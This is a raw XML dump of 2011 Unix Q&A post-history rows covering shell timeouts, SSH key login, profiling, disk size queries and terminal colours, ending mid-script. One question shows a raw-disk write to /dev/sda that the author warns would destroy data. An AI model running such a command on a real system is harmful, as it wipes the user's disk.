  <row Id="25827" PostHistoryTypeId="6" PostId="10617" RevisionGUID="2d66d583-7597-49df-9f54-cf3fdcb83070" CreationDate="2011-04-05T22:03:52.033" UserId="885" Comment="edited tags" Text="ébootàéarchölinuxàéupgradeàéudevà" />
  <row Id="25828" PostHistoryTypeId="2" PostId="10697" RevisionGUID="54a170e5-13a9-4eb8-9af1-b8ad91e7c781" CreationDate="2011-04-05T22:04:36.290" UserId="3389" Text="Could be an ACPI issue.  Look if your distro provides an ACPI package for your brand of laptop.&#xD;&#xA;&#xD;&#xA;It's possible this message could also come from a script executing at shutdown.  Find out how your distro handles shutdown scripts and you might be able to edit that particular script to not check battery state on shutdown." />
  <row Id="25829" PostHistoryTypeId="2" PostId="10698" RevisionGUID="36881e4f-c516-448a-9189-987121ecbbdd" CreationDate="2011-04-05T22:43:56.210" UserId="885" Text="I have a **shell script** that's **reading from standard input**. In rare circumstances, there will be no one ready to provide input, and the script must **time out**. In case of timeout, the script must execute some cleanup code. What's the best way to do that?&#xD;&#xA;&#xD;&#xA;This script must be **very portable**, including to 20th century unix systems without a C compiler and to embedded devices running busybox, so Perl, bash, any compiled language, and even the full POSIX.2 can't be relied on. In particular, `$PPID`, `read -t` and perfectly POSIX-compliant traps are not available. Writing to a temporary file is also excluded; the script might run even if all filesystems are mounted read-only.&#xD;&#xA;&#xD;&#xA;Just to make things more difficult, I also want the script to be reasonably **fast** when it doesn't time out. In particular, I also use the script in Windows (mainly in Cygwin), where fork and exec are particularly low, so I want to keep their use to a minimum.&#xD;&#xA;&#xD;&#xA;In a nutshell, I have&#xD;&#xA;&#xD;&#xA;    trap cleanup 1 2 3 15&#xD;&#xA;    foo=`cat`&#xD;&#xA;&#xD;&#xA;and I want to add a timeout. I can't replace `cat` with the `read` built-in. In case of timeout, I want to execute the `cleanup` function.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Background: this script is guessing the encoding of the terminal by printing some 8-bit characters and comparing the cursor position before and after. The beginning of the script tests that stdout is connected to a supported terminal, but sometimes the environment is lying (e.g. [`plink` sets `TERM=xterm` even if it's called with `TERM=dumb`](http://osdir.com/ml/emacs.tramp/2003-09/msg00011.html)). The relevant part of the script looks like this:&#xD;&#xA;&#xD;&#xA;    text='Éé'  # UTF-8; shows up as ÃÃ© on a latin1 terminal&#xD;&#xA;    csi='␛['; dsr_cpr=&quot;${csi}6n&quot;; dsr_ok=&quot;${csi}5n&quot;  # ␛ is an escape character&#xD;&#xA;    stty_save=`stty -g`&#xD;&#xA;    cleanup () { stty &quot;$stty_save&quot;; }&#xD;&#xA;    trap 'cleanup; exit 120' 0 1 2 3 15     # cleanup code&#xD;&#xA;    stty eol 0 eof n -echo                # Input will end with `0n`&#xD;&#xA;    # echo-n is a function that outputs its argument without a newline&#xD;&#xA;    echo-n &quot;$dsr_cpr$dsr_ok&quot;              # Ask the terminal to report the cursor position&#xD;&#xA;    initial_report=`tr -dc \;0123456789`  # Expect ␛[42;10R␛[0n for y=42,x=10&#xD;&#xA;    echo-n &quot;$text$dsr_cpr$dsr_ok&quot;&#xD;&#xA;    final_report=`tr -dc \;0123456789`&#xD;&#xA;    cleanup&#xD;&#xA;    # Compute and return initial_x - final_x&#xD;&#xA;&#xD;&#xA;How can I modify the script so that if `tr` hasn't read any input after 2 seconds, it is killed and the script executes the `cleanup` function?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25830" PostHistoryTypeId="1" PostId="10698" RevisionGUID="36881e4f-c516-448a-9189-987121ecbbdd" CreationDate="2011-04-05T22:43:56.210" UserId="885" Text="Timing out in a shell script" />
  <row Id="25831" PostHistoryTypeId="3" PostId="10698" RevisionGUID="36881e4f-c516-448a-9189-987121ecbbdd" CreationDate="2011-04-05T22:43:56.210" UserId="885" Text="éshellàésignalsàétimeoutà" />
  <row Id="25832" PostHistoryTypeId="2" PostId="10699" RevisionGUID="9006be2d-2d2f-4fa9-bb3e-605eb499c969" CreationDate="2011-04-05T22:54:34.177" UserId="5325" Text="    me=$$&#xD;&#xA;    (sleep 2; kill $me &gt;/dev/null 2&gt;&amp;1) &amp; nuker=$!&#xD;&#xA;    # do whatever&#xD;&#xA;    kill $nuker &gt;/dev/null 2&gt;&amp;1&#xD;&#xA;&#xD;&#xA;You're already trapping 15 (the numeric version of `SIGTERM`, which is what `kill` sends unless told otherwise), so you should already be good to go.  That said, if you are looking at pre-POSIX, be aware that shell functions may not exist either (they came from System V's shell)." />
  <row Id="25833" PostHistoryTypeId="2" PostId="10700" RevisionGUID="540b4532-99b3-4259-85d9-5c32683c8eeb" CreationDate="2011-04-05T22:56:44.927" UserId="3152" Text="I am about to develop a piece of software and I want to ascertain the impact it has on my system. The main things I am look for are load times, memory and CPU usage and shutdown time, although I would like to get as much information as possible. I know I can use my distro's system monitor to get some of this stuff, but I need precise data as I am going to be doing some before and after tests during my project. Is there anything out there (preferably open source) that will suffice?" />
  <row Id="25834" PostHistoryTypeId="1" PostId="10700" RevisionGUID="540b4532-99b3-4259-85d9-5c32683c8eeb" CreationDate="2011-04-05T22:56:44.927" UserId="3152" Text="How can I test the system footprint of applications?" />
  <row Id="25835" PostHistoryTypeId="3" PostId="10700" RevisionGUID="540b4532-99b3-4259-85d9-5c32683c8eeb" CreationDate="2011-04-05T22:56:44.927" UserId="3152" Text="éperformanceà" />
  <row Id="25836" PostHistoryTypeId="6" PostId="10700" RevisionGUID="98aab98f-e26a-4632-9ff6-60492b239e99" CreationDate="2011-04-05T23:28:21.820" UserId="885" Comment="edited tags" Text="émemoryàéperformanceàémonitoringà" />
  <row Id="25837" PostHistoryTypeId="2" PostId="10701" RevisionGUID="80a808bf-6e55-476f-b669-1ecbac304ead" CreationDate="2011-04-06T00:05:10.820" UserId="6318" Text="It's looking that you need software profilers eg:&#xD;&#xA;for memory I use [valgrind massif][1] with linuxtools on eclipse.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you are not restricted by system/gpl try dtrace on solaris/sunos if not try systemtap(eclipse + linuxtools) or gprof if you have source code.&#xD;&#xA;&#xD;&#xA;  [1]: http://valgrind.org/docs/manual/ms-manual.html" />
  <row Id="25838" PostHistoryTypeId="25" PostId="10692" RevisionGUID="4374cfc8-7ef8-4cc9-a5db-fa4c0c8190e9" CreationDate="2011-04-06T00:09:01.597" Comment="http://twitter.com/#!/StackUnix/status/55421716981219328" />
  <row Id="25839" PostHistoryTypeId="2" PostId="10702" RevisionGUID="c6e03ec3-bcad-449b-9076-350a39364a41" CreationDate="2011-04-06T00:10:02.267" UserId="6318" Text="if you don't care you can try shutdown with -n, to skip init stuff" />
  <row Id="25840" PostHistoryTypeId="2" PostId="10703" RevisionGUID="abd45192-32ed-467f-a7e1-786e11626429" CreationDate="2011-04-06T00:17:45.860" UserId="6318" Text="Use ulimit(Bash command - man bash or find similar for your shell) per program instance. Do not use global system limits if you don't know what are you doing - possible DoS." />
  <row Id="25842" PostHistoryTypeId="2" PostId="10705" RevisionGUID="0eacf942-663a-4f3d-8438-5364edaf264c" CreationDate="2011-04-06T00:26:35.773" UserId="885" Text="You're [supposed](http://linux.die.net/man/8/shutdown) to run `shutdown -h`, or its alias `halt`, to turn off the system; on some machines you need `shutdown -P` or `poweroff`. In fact, without `-h` (or `-P` or `-r`), `shutdown` is not supposed to turn the computer off, it's supposed to drop into single user mode (at least with the traditional Linux SysVinit, I don't know how compatible [Ubuntu's upstart](http://manpages.ubuntu.com/manpages/natty/man8/shutdown.8.html) is).&#xD;&#xA;&#xD;&#xA;This doesn't preclude another issue which would cause `poweroff` not to actually power down the computer. [Not-fully-supported ACPI is a common culprit.](http://unix.stackexchange.com/questions/10695/do-i-need-to-halt-in-order-to-really-turn-power-off/10697#10697)&#xD;&#xA;" />
  <row Id="25843" PostHistoryTypeId="2" PostId="10706" RevisionGUID="4589feaf-0819-4c3a-b11f-5e931be8ed42" CreationDate="2011-04-06T00:33:19.880" UserId="6319" Text="Okay, so I'm trying to setup a login for logging in with ssh, using a public key. &#xD;&#xA;&#xD;&#xA;First, I am using puttygen to generate a rsa-ssh2 public key using a passphrase.  I followed the directions and generated the key.  I saved the private key in its own file for putty and puttygen also generated the public key.&#xD;&#xA;&#xD;&#xA;In putty I set it up to use the private key file and use rsa-ssh2 etc...&#xD;&#xA;&#xD;&#xA;So I c/p'd my houtput ssh2 public key stuff from puttygen and on the server, I put that into &#xD;&#xA;&#xD;&#xA;    username/.ssh/authorized_keys&#xD;&#xA;&#xD;&#xA;So I tried to then login through putty and first it prompted me for my username instead of asking for passphrase, and then when I entered it in (I tried both username and passphrase) it said my public key was invalid.   &#xD;&#xA;&#xD;&#xA;I thought maybe I somehow c/p'd or formatted the info into authorized_keys wrong, so I went back and double checked.  I made sure it was all on one line, properly spaced etc...&#xD;&#xA;&#xD;&#xA;I also checked in the following file `/etc/ssh/ssh_config` and I have the following:&#xD;&#xA;&#xD;&#xA;    IdentityFile ~/.ssh/id_rsa&#xD;&#xA;&#xD;&#xA;I tried renaming my authorized_keys file to id_rsa and no joy.&#xD;&#xA;&#xD;&#xA;I tried changing that line in ssh_config to &#xD;&#xA;&#xD;&#xA;    IdentityFile ~/.ssh/authorized_keys&#xD;&#xA;&#xD;&#xA;...and no joy.&#xD;&#xA;&#xD;&#xA;I went back to thinking maybe my public key was malformed or that putty wasn't configured properly so I asked a friend to make a temp account for me on his server and add my public key and I was able to login through putty just fine...when I connected to his server, it prompted me for the passphrase for my key and logged me in just fine.  &#xD;&#xA;&#xD;&#xA;So he suggested I look at that stuff above but no joy and he doesn't know what else to check soo...I guess I'm appealing to the experts here :P&#xD;&#xA;&#xD;&#xA;thoughts?&#xD;&#xA;" />
  <row Id="25844" PostHistoryTypeId="1" PostId="10706" RevisionGUID="4589feaf-0819-4c3a-b11f-5e931be8ed42" CreationDate="2011-04-06T00:33:19.880" UserId="6319" Text="setting up ssh public key" />
  <row Id="25845" PostHistoryTypeId="3" PostId="10706" RevisionGUID="4589feaf-0819-4c3a-b11f-5e931be8ed42" CreationDate="2011-04-06T00:33:19.880" UserId="6319" Text="écentosàéunixà" />
  <row Id="25846" PostHistoryTypeId="6" PostId="10706" RevisionGUID="27dfc8c6-2908-45e6-91ed-98f211e0f48c" CreationDate="2011-04-06T00:35:35.223" UserId="885" Comment="edited tags" Text="ésshàéauthenticationà" />
  <row Id="25847" PostHistoryTypeId="2" PostId="10707" RevisionGUID="1af366e0-fb37-425d-a2da-920b54edb6d3" CreationDate="2011-04-06T00:53:21.353" UserId="6318" Text="try using xev command - my output after windows key pressed:&#xD;&#xA;If you can't see it name(Super_L in this case) you should map it.&#xD;&#xA;More info on [archlinix wiki][1].&#xD;&#xA;&#xD;&#xA;&gt; KeyPress event, serial 30, synthetic NO, window 0x4200001,&#xD;&#xA;    root 0xb4, subw 0x0, time 4453306, (1419,619), root:(1420,662),&#xD;&#xA;    state 0x10, keycode 133 (keysym 0xffeb, Super_L), same_screen YES,&#xD;&#xA;    XLookupString gives 0 bytes: &#xD;&#xA;    XmbLookupString gives 0 bytes: &#xD;&#xA;    XFilterEvent returns: False&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.archlinux.org/index.php/Extra_Keyboard_Keys" />
  <row Id="25848" PostHistoryTypeId="5" PostId="10631" RevisionGUID="2fd11c36-9a14-49f6-89d2-c277d4d250fb" CreationDate="2011-04-06T00:55:13.723" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How do I send stdin to the clipboard?](http://unix.stackexchange.com/questions/3892/how-do-i-send-stdin-to-the-clipboard)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;What's the best way to copy a long text file to keyboard? I'm imagining something like:&#xD;&#xA;&#xD;&#xA;    cat longTextFile | straightToClipboard" />
  <row Id="25849" PostHistoryTypeId="10" PostId="10631" RevisionGUID="561a3041-1f59-4386-87d5-04db2d8d1d7b" CreationDate="2011-04-06T00:55:13.613" UserId="-1" CloseReasonId="1" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="25851" PostHistoryTypeId="18" PostId="10631" RevisionGUID="8d9a314b-118e-4756-93d8-7168355d3f65" CreationDate="2011-04-06T00:55:44.207" UserId="73" Comment="to http://unix.stackexchange.com/questions/3892/how-do-i-send-stdin-to-the-clipboard" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="25852" PostHistoryTypeId="18" PostId="10645" RevisionGUID="8d9a314b-118e-4756-93d8-7168355d3f65" CreationDate="2011-04-06T00:55:44.207" UserId="73" Comment="from http://unix.stackexchange.com/questions/10631/how-to-copy-a-long-textfile-to-clipboard-on-gnome-terminal" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="25854" PostHistoryTypeId="18" PostId="3892" RevisionGUID="8d9a314b-118e-4756-93d8-7168355d3f65" CreationDate="2011-04-06T00:55:44.207" UserId="73" Comment="from http://unix.stackexchange.com/questions/10631/how-to-copy-a-long-textfile-to-clipboard-on-gnome-terminal" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="25855" PostHistoryTypeId="14" PostId="10631" RevisionGUID="098a483c-5909-4244-af12-df67ee1b737a" CreationDate="2011-04-06T00:55:44.407" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="25856" PostHistoryTypeId="6" PostId="10617" RevisionGUID="c1bd8513-04d3-472b-ab9a-b585bb16d2ab" CreationDate="2011-04-06T01:24:59.020" UserId="6315" Comment="edited tags; added 106 characters in body" Text="éarchölinuxàébootàéupgradeàéudevà" />
  <row Id="25857" PostHistoryTypeId="5" PostId="10617" RevisionGUID="c1bd8513-04d3-472b-ab9a-b585bb16d2ab" CreationDate="2011-04-06T01:24:59.020" UserId="6315" Comment="edited tags; added 106 characters in body" Text="After running a system update (pacman -Syu) with the testing repo not commented, my computer no longer boots. It shows the udev loading, then shows a black screen with a cursor blinking in upper left. i cannot type, or switch tty. What logs should i look at for help? When Looking at verbose boot, it says &quot;/bin/sh cant access tty&quot;, and i can't type anything at the prompt." />
  <row Id="25858" PostHistoryTypeId="2" PostId="10708" RevisionGUID="4a60d7b2-ae73-4303-b02b-2ae5a583a963" CreationDate="2011-04-06T01:37:25.807" UserId="6167" Text="Check permissions.  OpenSSH will not allow public-key authentication if a user's home directory, ~/.ssh, or ~/.ssh/authorized_keys is world writable.  Also, ~/.ssh and ~/.ssh/authorized_keys should probably not be group-writable either.  Leave IdentityFile at the default, it's has nothing to do with the server aspect.  It points to the default private key file used by the ssh client on UNIX/Linux.  ssh_config is used only by the ssh client, and not the OpenSSH sshd server.  The contents of authorized_keys should be one line per public key that is authorized to log in and look something like this:&#xD;&#xA;&#xD;&#xA;&gt; ssh-rsa AAA.../Us= My Public Key comment&#xD;&#xA;&#xD;&#xA;Where ... is a bunch of base64 characters (`[a-zA-Z/+=]`).  PuTTYGen can generate two forms of keys: PuTTY and OpenSSH compatible.  The OpenSSH compatible will be one long line in the above format.  If it's in PuTTY format, you can import it back into PuTTYGen and save as OpenSSH." />
  <row Id="25859" PostHistoryTypeId="5" PostId="10689" RevisionGUID="74263682-ab44-43f1-ae94-f9c12299a780" CreationDate="2011-04-06T02:09:43.280" UserId="3649" Comment="deleted 13 characters in body" Text="I like to keep my `bash_profile` in a [git repository][1] and clone it to whatever machines I have shell access to. Since I'm in `tmux` most of the time I have a `user@host` string in the status line, rather than its traditional spot in the shell prompt.&#xD;&#xA;&#xD;&#xA;Not all sites I use have `tmux` installed, though, or I may not always be using it. I'd like  to detect when I'm not in a `tmux` session and adjust my prompt accordingly. So far my half-baked solution in `.bash_profile` looks something like this:&#xD;&#xA;&#xD;&#xA;    _display_host_unless_in_tmux_session() {&#xD;&#xA;        # ???&#xD;&#xA;    }&#xD;&#xA;    export PROMPT_COMMAND='PS1=$(_display_host_unless_in_tmux_session)${REST_OF_PROMPT}'&#xD;&#xA;&#xD;&#xA;(Checking every time probably isn't the best approach, so I'm open to suggestions for a better way of doing this. Bash scripting is not my forte.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/brantb/dotfiles" />
  <row Id="25860" PostHistoryTypeId="2" PostId="10709" RevisionGUID="42cfa720-1a21-4506-94a4-ab3112f2b892" CreationDate="2011-04-06T02:10:42.303" UserId="6319" Text="I ended up using ssh-keygen to generate a public/private key on my server and then importing the private key to puttygen and saving as the .ppk file for putty, and that worked.&#xD;&#xA;&#xD;&#xA;I still don't really know what went wrong but I guess it had something to do with the public and/or private key generated by puttygen afterall... :/&#xD;&#xA;" />
  <row Id="25861" PostHistoryTypeId="2" PostId="10710" RevisionGUID="0cb6b885-7ab9-4e49-8b18-1bf69a99a203" CreationDate="2011-04-06T02:31:08.270" UserId="6324" Text="After adding Service Pack 1 to my work computer, I get permissions errors when trying to RDP to work.  I have no issues if I'm using the Microsoft Remote Desktop client.&#xD;&#xA;&#xD;&#xA;I'm using Ubuntu 10.10 with Remmina Remote Desktop (I'll add the version when I get home, whatever is default in the base repository).  Remmina (which is really nice, btw) uses FreeRDP.&#xD;&#xA;&#xD;&#xA;I can't seem to find any other reports of this.  Anybody have an suggestions?&#xD;&#xA;&#xD;&#xA;Here is the screenshot (edit: not enough rep to post image, transcribed).  And yes, I ignored the fact that it works on the MS client and checked that the permissions it asks for were fulfilled.&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;To log on to this remote computer, you must be granted the Allow log on through Terminal Services right.  By default, members of the Remote Desktop Users group have this right.  If you are not a member of the Remote Desktop Users group that has this right, or if the Remote Desktop Users group does not have this right, you must be granted this right manually.&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;I really don't want to reboot into Windows 7 or run a VM just to RDP to work.  Thanks in advance." />
  <row Id="25862" PostHistoryTypeId="1" PostId="10710" RevisionGUID="0cb6b885-7ab9-4e49-8b18-1bf69a99a203" CreationDate="2011-04-06T02:31:08.270" UserId="6324" Text="Trouble RDPing to Windows 7 Service Pack 1 from Remmina Remote Desktop" />
  <row Id="25863" PostHistoryTypeId="3" PostId="10710" RevisionGUID="0cb6b885-7ab9-4e49-8b18-1bf69a99a203" CreationDate="2011-04-06T02:31:08.270" UserId="6324" Text="éremoteödesktopà" />
  <row Id="25865" PostHistoryTypeId="5" PostId="10709" RevisionGUID="f4e2bf6c-4d7f-43b3-adfe-f129f1fa255b" CreationDate="2011-04-06T02:36:59.210" UserId="6319" Comment="added 133 characters in body" Text="I ended up using ssh-keygen to generate a public/private key on my server and then importing the private key to puttygen and saving as the .ppk file for putty, and that worked.&#xD;&#xA;&#xD;&#xA;I still don't really know what went wrong but I guess it had something to do with the public and/or private key generated by puttygen afterall... :/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;edit:&#xD;&#xA;&#xD;&#xA;Aaaah I figured it out! It was because my server wanted a 2048 bit key and I was generating a 1024 bit key with puttygen" />
  <row Id="25867" PostHistoryTypeId="25" PostId="10695" RevisionGUID="3165a7ff-5a18-476e-9dd3-36027ecd06f6" CreationDate="2011-04-06T03:09:01.607" Comment="http://twitter.com/#!/StackUnix/status/55467015212769280" />
  <row Id="25868" PostHistoryTypeId="2" PostId="10712" RevisionGUID="4331ea44-5437-4b8e-9134-4915f8f79529" CreationDate="2011-04-06T03:10:28.017" UserId="29" Text="I have to work on systems which display some colors that are hard to read. I ssh into these systems, but don't have *management permission* to change the colors they display. Is there any way I can override the shade's of colors in my terminal emulater? (I use `konsole`)" />
  <row Id="25869" PostHistoryTypeId="1" PostId="10712" RevisionGUID="4331ea44-5437-4b8e-9134-4915f8f79529" CreationDate="2011-04-06T03:10:28.017" UserId="29" Text="Overriding the shade of color displayed" />
  <row Id="25870" PostHistoryTypeId="3" PostId="10712" RevisionGUID="4331ea44-5437-4b8e-9134-4915f8f79529" CreationDate="2011-04-06T03:10:28.017" UserId="29" Text="éterminalàékdeàécolorsàékonsoleà" />
  <row Id="25871" PostHistoryTypeId="2" PostId="10713" RevisionGUID="62fa76b7-43bb-43f4-9958-7f4640ea7cfd" CreationDate="2011-04-06T04:23:04.257" UserId="1049" Text="I need to be able to determine the size of a block special file.&#xD;&#xA;&#xD;&#xA;For example, given `/dev/sda`, I need a command that will provide the size of the device. (By size I mean capacity, since this is a storage device.)&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;**Rationale:**&#xD;&#xA;&#xD;&#xA;I can store information in the device with:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;echo &quot;12345&quot; &gt;/dev/sda  # needs to be run as root&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;*(Don't run that command by the way... unless you don't care about your data.)*&#xD;&#xA;&#xD;&#xA;However, I need to know how much data I can store on the device and I don't know how to do that." />
  <row Id="25872" PostHistoryTypeId="1" PostId="10713" RevisionGUID="62fa76b7-43bb-43f4-9958-7f4640ea7cfd" CreationDate="2011-04-06T04:23:04.257" UserId="1049" Text="How to get size of a block special file?" />
  <row Id="25873" PostHistoryTypeId="3" PostId="10713" RevisionGUID="62fa76b7-43bb-43f4-9958-7f4640ea7cfd" CreationDate="2011-04-06T04:23:04.257" UserId="1049" Text="ésizeàéblocköspecialöfileàécapacityàécommandà" />
  <row Id="25874" PostHistoryTypeId="2" PostId="10714" RevisionGUID="ea69bc3f-f374-4c6b-86ec-78da9d2b3929" CreationDate="2011-04-06T04:41:55.480" UserId="1594" Text="I pressed some key combination and got a big full screen black terminal screen with a login prompt.&#xD;&#xA;After logging in, I tried [startx][1] to get the UI back, but got a message&#xD;&#xA;&#xD;&#xA;    Fatal server error:&#xD;&#xA;    Server is already active for display 0&#xD;&#xA;    If this server is no longer running, remove /tmp/.X0-lock and start again.&#xD;&#xA;&#xD;&#xA;So - what did I do to get me the black prompt in the first place, and how do I get back to X?&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=launch%20gnome%20from%20commandline#hl=en&amp;safe=off&amp;sa=X&amp;ei=NO6bTZDIJOHP4wbBtpGCBw&amp;ved=0CBIQBSgA&amp;q=launch%20gnome%20from%20command%20line&amp;spell=1&amp;bav=on.2,or.r_gc.r_pw.&amp;fp=ae3fa2fab1e0dd34" />
  <row Id="25875" PostHistoryTypeId="1" PostId="10714" RevisionGUID="ea69bc3f-f374-4c6b-86ec-78da9d2b3929" CreationDate="2011-04-06T04:41:55.480" UserId="1594" Text="How do I get back to X?" />
  <row Id="25876" PostHistoryTypeId="3" PostId="10714" RevisionGUID="ea69bc3f-f374-4c6b-86ec-78da9d2b3929" CreationDate="2011-04-06T04:41:55.480" UserId="1594" Text="égnomeàéterminalà" />
  <row Id="25877" PostHistoryTypeId="2" PostId="10715" RevisionGUID="02a4ab17-ccde-4358-8ed3-ba0419f243e3" CreationDate="2011-04-06T04:43:25.447" UserId="5325" Text="You pressed &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Fn&lt;/kbd&gt; for some `n`, and you need to press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;F7&lt;/kbd&gt; (usually) to get back." />
  <row Id="25878" PostHistoryTypeId="2" PostId="10716" RevisionGUID="4a4f2232-e9e6-4eee-9eb4-6d15f8abc582" CreationDate="2011-04-06T05:02:12.037" UserId="6167" Text="I don't think wget supports the username and password in a URL.  Try this form:&#xD;&#xA;&#xD;&#xA;    wget --user=login --password=pass ftp://download.site.co.in/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Better yet, you can store the username and password in .wgetrc or .netrc to prevent having to specify it on the command-line where it might be seen by other users or stored to a shell history file.  I'm not sure about the format of .wgetrc, you can read the man page on wget for that.  For .netrc, add a line like:&#xD;&#xA;&#xD;&#xA;    machine download.site.co.in login login pasword pass&#xD;&#xA;&#xD;&#xA;And wget will automatically use that if not specified.  Make sure the file is chmod 700 for permissions." />
  <row Id="25879" PostHistoryTypeId="2" PostId="10717" RevisionGUID="175f8a88-765f-4170-aee4-da4f3292a47d" CreationDate="2011-04-06T05:39:04.450" UserId="5685" Text="Parsing `fdisk -l /dev/sda` should give you exactly that:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Disk /dev/sda: 68.7 GB, 68719476736 bytes&#xD;&#xA;    255 heads, 63 sectors/track, 8354 cylinders&#xD;&#xA;    Units = cylinders of 16065 * 512 = 8225280 bytes&#xD;&#xA;    Sector size (logical/physical): 512 bytes / 512 bytes&#xD;&#xA;    I/O size (minimum/optimal): 512 bytes / 512 bytes&#xD;&#xA;    Disk identifier: 0x000bd83f&#xD;&#xA;    &#xD;&#xA;       Device Boot      Start         End      Blocks   Id  System&#xD;&#xA;    /dev/sda1   *           1        8009    64325632   83  Linux&#xD;&#xA;    /dev/sda2            8009        8355     2780161    5  Extended&#xD;&#xA;    /dev/sda5            8009        8355     2780160   82  Linux swap / Solaris&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25880" PostHistoryTypeId="2" PostId="10718" RevisionGUID="9fb07385-a804-4ecb-ad15-8113cb6542d0" CreationDate="2011-03-31T15:18:16.883" UserId="3886" Text="I've booted from SLES 10 SP2 CD and installed Gentoo. Now I'm trying to make Ethernet work (it is working in SLES).&#xD;&#xA;I found [this][1] document, but in current kernel (2.6.38.2) sysfs layout is some different, for example, there is no `parameters` file in qeth device directory, but it have separate file `portname`.&#xD;&#xA;&#xD;&#xA;After `echo 0.0.0100,0.0.0101,0.0.0102 &gt; /sys/bus/ccwgroup/drivers/qeth/group` sysfs contains new directory `/sys/devices/qeth/0.0.0100` with few files and directories inside. File `portname` contains &quot;no portname required&quot;.&#xD;&#xA;But when I'm trying to write 1 to file `online` it says:&#xD;&#xA;&#xD;&#xA;    -bash: echo: write error: No such device&#xD;&#xA;&#xD;&#xA;I also tried to write &quot;OSAPORT&quot; to `portname`, 0 and 1 to `layer2` with no success. I still can not create `eth0` interface.&#xD;&#xA;&#xD;&#xA;What am I missing and how to corretly make `eth0` configured at boot time in Gentoo?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linuxvm.org/present/SHARE100/S9361uwa.pdf" />
  <row Id="25881" PostHistoryTypeId="1" PostId="10718" RevisionGUID="9fb07385-a804-4ecb-ad15-8113cb6542d0" CreationDate="2011-03-31T15:18:16.883" UserId="3886" Text="How to configure Ethernet in Gentoo on s390x?" />
  <row Id="25882" PostHistoryTypeId="3" PostId="10718" RevisionGUID="9fb07385-a804-4ecb-ad15-8113cb6542d0" CreationDate="2011-03-31T15:18:16.883" UserId="3886" Text="égentooà" />
  <row Id="25883" PostHistoryTypeId="17" PostId="10718" RevisionGUID="1c116309-47dc-4909-9485-9433b8b0aaf5" CreationDate="2011-04-06T05:39:33.783" UserId="-1" Comment="from http://serverfault.com/questions/254170/how-to-configure-ethernet-in-gentoo-on-s390x" Text="" />
  <row Id="25884" PostHistoryTypeId="2" PostId="10719" RevisionGUID="624e36f6-0c3a-4a9c-b675-2f912abd0e7a" CreationDate="2011-04-06T05:56:51.413" UserId="5685" Text="You can modifiy `~/.Xresources` on the local machine. See [this][1] for an example of themed `~/.Xresources`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/altercation/solarized/tree/master/xresources-colors-solarized" />
  <row Id="25885" PostHistoryTypeId="5" PostId="10623" RevisionGUID="d97db41b-1e4d-4f22-9f1a-57fd94e7b2f9" CreationDate="2011-04-06T06:01:46.527" UserId="2343" Comment="deleted 1258 characters in body; edited tags" Text="&#xD;&#xA;When I use 'tee' to  pipe stdout directly to a &quot;specific block of code&quot; (which then writes the modified data to a file), I always get the full complement of exptected output lines in the file.  &#xD;&#xA;&#xD;&#xA;However, when I 'tee' the same data to a process **&gt;**(&quot;same block of code&quot;), it can drop up to 4 lines from the output. This number varies; sometimes it writes all the lines.  &#xD;&#xA;&#xD;&#xA;How can I get around this issue, and *why* is it only happening in the &lt;( process ) ?    &#xD;&#xA;&#xD;&#xA;More info: I am 'tee'-ing to 2 process-substitutions and also to normal stdout pipe when this line dropping occurs.  &#xD;&#xA;&#xD;&#xA;(using)  **\*\*** `GNU bash, version 4.1.5(1)-release (i486-pc-linux-gnu)`&#xD;&#xA; **\*\*** `Ubuntu 10.04.2 LTS`&#xD;&#xA;&#xD;&#xA;Here is the actual script.. The second process-substitution is the one in question;  (the one beginning with `&gt;(tr $'\x60' $X01 `)   &#xD;&#xA;&#xD;&#xA;    #  &#xD;&#xA;    # Run 'locate' and direct the output to a temp file&#xD;&#xA;      errflag=&quot;&quot;&#xD;&#xA;      locitmct=0  # Count of located items &#xD;&#xA;      columns=4  # The number of columns in the main dialog&#xD;&#xA;      colmnb=0  # Column number (NB: columns 1 and 2 are processed together) &#xD;&#xA;      X01=$'\x01'&#xD;&#xA;      eval locate $zenargs |tee \&#xD;&#xA;          &gt;(zenity --progress --pulsate --auto-close) \&#xD;&#xA;          &gt;(tr $'\x60' $X01 \&#xD;&#xA;             |sed -n &quot;s/^\(.*\/\)\(.*\)/\1\2\n\2\n\1/p&quot; \&#xD;&#xA;                |while IFS= read -r line ; do \&#xD;&#xA;                  #&#xD;&#xA;                  #&#xD;&#xA;                  # process the data&#xD;&#xA;                  #&#xD;&#xA;                  #&#xD;&#xA;                done &gt; &quot;$listf&quot; )\&#xD;&#xA;          